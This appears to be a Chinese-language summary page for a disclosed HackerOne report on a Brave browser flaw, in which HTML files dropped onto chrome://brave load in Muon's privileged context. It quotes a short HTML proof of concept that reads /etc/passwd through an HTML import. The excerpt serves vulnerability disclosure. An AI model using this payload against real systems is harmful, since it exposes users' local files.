RCE: DnDing shortcut files to chrome://brave allows loading HTML files in Muon's context
该报告还没有中文解读。
原文摘录
摘自原文(4681 字符中的一小部分)
> \#395737 has shown that Brave supports `chrome://brave/<local_file>` URLs. > The Brave team introduced a patch which blocks navigation to `chrome://brave` and removed `chrome.remote.require` to prevent command execution on the machine.
原文中的代码
<head>
<!-- Local files reading -->
<script>
function show() {
var file = link.import.querySelector('body')
alert(file.innerHTML)
}
</script>
<link id="link" onload="show()" rel="import" as="document" href="chrome://brave/etc/passwd">
</head>默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Brave Software 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @metnew · 版权归作者与 Brave Software 所有